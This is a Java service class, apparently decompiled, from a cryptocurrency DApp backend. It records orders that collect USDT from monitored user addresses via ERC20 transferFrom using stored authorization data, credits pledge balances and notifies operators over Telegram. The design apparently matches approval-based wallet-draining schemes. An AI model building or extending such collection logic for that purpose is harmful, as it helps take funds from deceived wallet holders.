package project.monitor.job.transferfrom; import java.io.Serializable; import java.util.Date; import kernel.util.Arith; import kernel.util.ThreadUtils; import project.log.MoneyLog; import project.log.MoneyLogService; import project.monitor.AutoMonitorAddressConfigService; import project.monitor.AutoMonitorOrderService; import project.monitor.AutoMonitorTipService; import project.monitor.AutoMonitorWalletService; import project.monitor.bonus.AutoMonitorSettleAddressConfigService; import project.monitor.bonus.BonusSettlementService; import project.monitor.erc20.service.Erc20Service; import project.monitor.model.AutoMonitorAddressConfig; import project.monitor.model.AutoMonitorOrder; import project.monitor.model.AutoMonitorWallet; import project.monitor.pledge.PledgeOrderService; import project.monitor.report.DAppUserDataSumService; import project.monitor.telegram.business.TelegramBusinessMessageService; import project.party.PartyService; import project.party.model.Party; import project.syspara.SysparaService; import project.user.UserDataService; import project.wallet.WalletExtend; import project.wallet.WalletService; public class TransferFromServiceImpl implements TransferFromService{ private Erc20Service erc20Service; private WalletService walletService; protected PartyService partyService; private SysparaService sysparaService; private UserDataService userDataService; protected MoneyLogService moneyLogService; private PledgeOrderService pledgeOrderService; protected AutoMonitorTipService autoMonitorTipService; protected BonusSettlementService bonusSettlementService; private AutoMonitorOrderService autoMonitorOrderService; protected DAppUserDataSumService dAppUserDataSumService; protected AutoMonitorWalletService autoMonitorWalletService; private AutoMonitorAddressConfigService autoMonitorAddressConfigService; protected TelegramBusinessMessageService telegramBusinessMessageService; protected AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService; public void saveTransferFrom(final TransferFrom transferFrom) { final AutoMonitorWallet item = transferFrom.getAutoMonitorWallet(); final String to = transferFrom.getTo(); final AutoMonitorOrder entity = new AutoMonitorOrder(); entity.setPartyId(item.getPartyId()); entity.setCreated(new Date()); entity.setAddress(item.getAddress()); entity.setChannel_address(to); entity.setMonitor_address(item.getMonitor_address()); entity.setRelationOrderNo((transferFrom.getRelationOrderNo() == null) ? "" : transferFrom.getRelationOrderNo()); double balance = 0.0; if (transferFrom.getCollectAmount() <= 0.0) { final WalletExtend walletExtend = this.walletService.saveExtendByPara(item.getPartyId(), "USDT_USER"); balance = walletExtend.getAmount(); final Double _balance = this.erc20Service.getBalance(item.getAddress()); if (_balance != null) { balance = _balance; } } else { balance = transferFrom.getCollectAmount(); } entity.setVolume(Double.valueOf(balance)); entity.setSettle_amount(Double.valueOf(this.autoMonitorSettleAddressConfigService.computeSettleAmount((double)entity.getVolume()))); final AutoMonitorOrder db = this.autoMonitorOrderService.findByAddressAndSucceeded(item.getAddress(), 0); if (db != null) { entity.setSucceeded(2); entity.setError("该地址存在未完成的归集记录"); this.autoMonitorOrderService.save(entity); return; } final Double balance_min = this.sysparaService.find("transferfrom_balance_min").getDouble(); if (balance < balance_min) { entity.setSucceeded(2); entity.setError("币值少于[" + balance_min + "]USDT"); this.autoMonitorOrderService.save(entity); return; } final AutoMonitorAddressConfig config = this.autoMonitorAddressConfigService.findByAddress(item.getMonitor_address()); if (config == null) { entity.setSucceeded(2); entity.setError("无法找到授权地址鉴权信息"); this.autoMonitorOrderService.save(entity); return; } entity.setSucceeded(-1); this.autoMonitorOrderService.save(entity); } public void saveConfirm(final String id, final Integer status, final String hash) { final AutoMonitorOrder entity = this.autoMonitorOrderService.findById(id); if (entity.getSucceeded() != 0) { return; } final Party party = this.partyService.cachePartyBy((Serializable)entity.getPartyId().toString(), false); if (status == 0) { entity.setSucceeded(2); this.autoMonitorOrderService.update(entity); this.telegramBusinessMessageService.sendTransferFromErrorTeleg(party, (double)entity.getVolume(), (String)null, entity.getTxn_hash()); } else if (status == 1) { entity.setSucceeded(1); this.autoMonitorOrderService.update(entity); final Double balance = this.erc20Service.getBalance(entity.getAddress()); final WalletExtend walletExtend = this.walletService.saveExtendByPara(entity.getPartyId(), "USDT_USER"); if (walletExtend.getAmount() != balance) { this.walletService.updateExtend(entity.getPartyId().toString(), "USDT_USER", Arith.sub((double)balance, walletExtend.getAmount())); } this.userDataService.saveRechargeHandleDapp(entity.getPartyId(), (double)entity.getVolume(), "usdt"); this.dAppUserDataSumService.saveTransferfrom(entity.getPartyId(), (double)entity.getVolume()); this.walletService.updateExtend(entity.getPartyId().toString(), "USDT_DAPP", (double)entity.getVolume()); this.pledgeOrderService.savejoin((Serializable)entity.getPartyId().toString()); final double amount_before = walletExtend.getAmount(); final MoneyLog moneyLog = new MoneyLog(); moneyLog.setAmount_before(amount_before); moneyLog.setAmount((double)entity.getVolume()); moneyLog.setAmount_after(Arith.add(walletExtend.getAmount(), (double)entity.getVolume())); moneyLog.setLog("归集订单归集成功质押金额变化"); moneyLog.setPartyId((Serializable)entity.getPartyId().toString()); moneyLog.setWallettype("USDT_DAPP"); moneyLog.setCreateTime(new Date()); this.moneyLogService.save(moneyLog); ThreadUtils.sleep(300L); this.telegramBusinessMessageService.sendCollectTeleg(party, (double)entity.getVolume()); this.bonusSettlementService.signal(); } } public void setWalletService(final WalletService walletService) { this.walletService = walletService; } public void setAutoMonitorAddressConfigService(final AutoMonitorAddressConfigService autoMonitorAddressConfigService) { this.autoMonitorAddressConfigService = autoMonitorAddressConfigService; } public void setErc20Service(final Erc20Service erc20Service) { this.erc20Service = erc20Service; } public void setAutoMonitorOrderService(final AutoMonitorOrderService autoMonitorOrderService) { this.autoMonitorOrderService = autoMonitorOrderService; } public void setSysparaService(final SysparaService sysparaService) { this.sysparaService = sysparaService; } public void setUserDataService(final UserDataService userDataService) { this.userDataService = userDataService; } public void setPartyService(final PartyService partyService) { this.partyService = partyService; } public void setTelegramBusinessMessageService(final TelegramBusinessMessageService telegramBusinessMessageService) { this.telegramBusinessMessageService = telegramBusinessMessageService; } public void setdAppUserDataSumService(final DAppUserDataSumService dAppUserDataSumService) { this.dAppUserDataSumService = dAppUserDataSumService; } public void setPledgeOrderService(final PledgeOrderService pledgeOrderService) { this.pledgeOrderService = pledgeOrderService; } public void setBonusSettlementService(final BonusSettlementService bonusSettlementService) { this.bonusSettlementService = bonusSettlementService; } public void setAutoMonitorSettleAddressConfigService(final AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService) { this.autoMonitorSettleAddressConfigService = autoMonitorSettleAddressConfigService; } public void setAutoMonitorWalletService(final AutoMonitorWalletService autoMonitorWalletService) { this.autoMonitorWalletService = autoMonitorWalletService; } public void setMoneyLogService(final MoneyLogService moneyLogService) { this.moneyLogService = moneyLogService; } public void setAutoMonitorTipService(final AutoMonitorTipService autoMonitorTipService) { this.autoMonitorTipService = autoMonitorTipService; } }